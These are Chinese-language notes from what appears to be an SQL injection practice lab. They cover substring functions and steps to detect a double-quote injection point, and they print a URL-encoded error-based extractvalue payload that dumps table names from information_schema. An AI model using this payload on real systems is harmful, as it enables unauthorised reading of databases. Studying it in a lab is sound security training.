知识点:
- 报错注入回顾
- 原始语句测试
- 截取函数
- mid(字符串,起始位置,长度)
- substr(字符串,起始位置,长度)
- left(字符串,长度)
- right(字符串,长度)
- 加入截取控制的错误注入payload
- payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
- 关键表信息回顾
首先判断注入类型
构造id=1/0
发现正常输出;应该是字符型注入

构造id=1'
发现正常输出;不是单引号的输入读取

构造id=1"
发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取
构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
成功读取到了数据库的表信息;进一步可以读取字段名和关键信息
这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10